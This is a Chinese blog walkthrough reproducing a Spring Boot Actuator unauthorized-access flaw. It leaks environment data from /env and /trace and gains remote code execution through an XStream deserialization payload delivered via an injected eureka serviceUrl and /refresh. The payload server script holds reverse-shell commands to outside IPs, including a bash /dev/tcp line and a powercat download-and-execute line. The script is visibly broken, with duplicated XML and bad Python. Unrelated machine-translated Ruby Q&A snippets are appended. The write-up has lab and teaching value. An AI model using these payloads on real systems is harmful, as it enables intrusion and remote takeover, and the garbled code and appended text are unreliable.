草庐IT

漏洞复现 - - - Springboot未授权访问

干掉芹菜 2023-04-04 原文

目录

一, 未授权访问是什么?

二,Actuator介绍

三,怎么进行漏洞发现呢?

四,实验环境

五,漏洞复现

1.通过访问env获取全部环境属性

2.通过/trace提供基本的http请求跟踪信息

3.利用反序列化进行getshell

 1.启动脚本

2.开启监听

 3.使用bp抓取一个/env的包

4.修改POST数据


一, 未授权访问是什么?

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露

二,Actuator介绍

Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行 自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查 看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。

 

三,怎么进行漏洞发现呢?

1. 分析web 应用使用的框架为 springboot 框架

2.如果web应用开发者没有修改springboot web默认图标

3.如果修改了默认图标,我们通过访问refresh web网页报错进行分析,如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下如图所示

 

四,实验环境

靶机:Centos7+springboot   IP地址:10.1.1.137:8090

攻击机:Kali  IP地址:10.1.1.135

五,漏洞复现

1.通过访问env获取全部环境属性

2.通过/trace提供基本的http请求跟踪信息

3.利用反序列化进行getshell

需要以下两个包(环境已安装)

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

采用脚本的方式

# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask,Response

app =Flask(_name_)

@app.route('/xstream', defaults={ ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
    xml = """<linked-hash-set>
	<jdk.nashorn.internal.objects.NativeString>
	 <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Date">
	 <dataHandler>
	 <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
	 <is class="javax.crypto.CipherInputStream">
	 <cipher class="javax.crypto.NullCipher">
	 <serviceIterator class="javax.imageio.spi.FilterIterator">
     <iter class="javax.imageio.spi.FilterIterator">
	 <iter class="java.util.Collections$EmptyIterator"/>
	 <next class="java.lang.ProcessBuilder">
	<command>
	<string>bash</string>
	<string>-c</string>
	<string>bash -i >&amp; /dev/tcp/139.9.198.30/1234 0>&amp;1</string>      //攻击机的IP
	</command>
	<redirectErrorStream>false</redirectErrorStream>
	</next>
	</iter>
	<filter class="javax.imageio.ImageIO$ContainsFilter">
	<method>
	<class>java.lang.ProcessBuilder</class>
    <name>start</name>
	<parameter-types/>
	</method>
    <name>foo</name>
	</filter>
	<next class="string">foo</next>
	</serviceIterator>
	<lock/>
	</cipher>
	<input class="java.lang.ProcessBuilder$NullInputStream"/>
	<ibuffer></ibuffer>
	</is>
	</dataSource>
	</dataHandler>
	 </value>
	</jdk.nashorn.internal.objects.NativeString>
	</linked-hash-set>"""
	 </is>
	</dataSource>
	</dataHandler>
	</value>
	</jdk.nashorn.internal.objects.NativeString>
	</linked-hash-set>"""
	return Response(xml, mimetype='application/xml')
	if __name__ == "__main__":
	app.run(host='0.0.0.0', port=2333)

采用一个启动脚本的服务

注意讲脚本中的IP改为自己的IP,并且开启一个监听端口

 

 1.启动脚本

2.开启监听

 

 3.使用bp抓取一个/env的包

4.修改POST数据

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

 

 点击forward发送请求

 访问/refresh,还是显示一次错误页面。我们对此进行抓包

 

我们讲此修改为post请求,数据包随机输入就可以 

 

 查看监听的端口,我们可以看到得道了一个shell,复现成功!!!

 

有关漏洞复现 - - - Springboot未授权访问的更多相关文章

  1. ruby - 为什么我可以在 Ruby 中使用 Object#send 访问私有(private)/ protected 方法? - 2

    类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc

  2. ruby-on-rails - 在混合/模块中覆盖模型的属性访问器 - 2

    我有一个包含模块的模型。我想在模块中覆盖模型的访问器方法。例如:classBlah这显然行不通。有什么想法可以实现吗? 最佳答案 您的代码看起来是正确的。我们正在毫无困难地使用这个确切的模式。如果我没记错的话,Rails使用#method_missing作为属性setter,因此您的模块将优先,阻止ActiveRecord的setter。如果您正在使用ActiveSupport::Concern(参见thisblogpost),那么您的实例方法需要进入一个特殊的模块:classBlah

  3. ruby - 续集在添加关联时访问many_to_many连接表 - 2

    我正在使用Sequel构建一个愿望list系统。我有一个wishlists和itemstable和一个items_wishlists连接表(该名称是续集选择的名称)。items_wishlists表还有一个用于facebookid的额外列(因此我可以存储opengraph操作),这是一个NOTNULL列。我还有Wishlist和Item具有续集many_to_many关联的模型已建立。Wishlist类也有:selectmany_to_many关联的选项设置为select:[:items.*,:items_wishlists__facebook_action_id].有没有一种方法可以

  4. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  5. ruby - 有没有办法从 ruby​​ case 语句中访问表达式? - 2

    我想从then子句中访问c​​ase语句表达式,即food="cheese"casefoodwhen"dip"then"carrotsticks"when"cheese"then"#{expr}crackers"else"mayo"end在这种情况下,expr是食物的当前值(value)。在这种情况下,我知道,我可以简单地访问变量food,但是在某些情况下,该值可能无法再访问(array.shift等)。除了将expr移出到局部变量然后访问它之外,是否有直接访问caseexpr值的方法?罗亚附注我知道这个具体示例很简单,只是一个示例场景。 最佳答案

  6. ruby - 从外部访问类的实例变量 - 2

    我理解(我认为)Ruby中类变量和类的实例变量之间的区别。我想知道如何从该类外部访问该类的实例变量。从内部(即在类方法中而不是实例方法中),它可以直接访问,但是从外部,有没有办法做MyClass.class.[@$#]variablename?我没有任何具体原因要这样做,只是学习Ruby并想知道是否可行。 最佳答案 classMyClass@my_class_instance_var="foo"class上述yield:>>foo我相信Arkku演示了如何从类外部访问类变量(@@),而不是类实例变量(@)。我从这篇文章中提取了上述内

  7. ruby-on-rails - 使用 HTTP.get_response 检索 Facebook 访问 token 时出现 Rails EOF 错误 - 2

    我试图在我的网站上实现使用Facebook登录功能,但在尝试从Facebook取回访问token时遇到障碍。这是我的代码:ifparams[:error_reason]=="user_denied"thenflash[:error]="TologinwithFacebook,youmustclick'Allow'toletthesiteaccessyourinformation"redirect_to:loginelsifparams[:code]thentoken_uri=URI.parse("https://graph.facebook.com/oauth/access_token

  8. ruby - 使用 Class.new 时访问外部范围 - 2

    是否有可能以某种方式访问​​Class.new范围内的a?a=5Class.new{defb;aend}.new.b#NameError:undefinedlocalvariableormethod`a'for#:0x007fa8b15e9af0>#:in`b' 最佳答案 即使@MarekLipka的回答是正确的——改变变量范围总是有风险的。这是可行的,因为每个block都带有创建它的上下文,因此您的局部变量a突然变得不那么局部了——它变成了一个“隐藏的”全局变量:a=5object=Class.new{define_method(

  9. ruby - 使用访问器方法即时创建对象 - 2

    使用散列定义的访问器方法动态创建对象的最简单方法是什么?例如,如果我有一个散列:{foo:"Foo",bar:"Bar"}我想要一个具有访问器方法foo、foo=、bar和bar=的对象,其初始值分别为"Foo"和"Bar"。我可以想到这样做:moduleObjectWithAccessordefself.newh;Struct.new(*h.keys).new(*h.values)endendo=ObjectWithAccessor.new(foo:"Foo",bar:"Bar")o.foo#=>"Foo"但是,我不需要它们的多个实例具有相同的特定键集,而是希望每次都使用可能不同的键

  10. ruby - 404 未找到,但可以从网络浏览器正常访问 - 2

    我在这方面尝试了很多URL,在我遇到这个特定的之前,它们似乎都很好:require'rubygems'require'nokogiri'require'open-uri'doc=Nokogiri::HTML(open("http://www.moxyst.com/fashion/men-clothing/underwear.html"))putsdoc这是结果:/Users/macbookair/.rvm/rubies/ruby-2.0.0-p481/lib/ruby/2.0.0/open-uri.rb:353:in`open_http':404NotFound(OpenURI::HT

随机推荐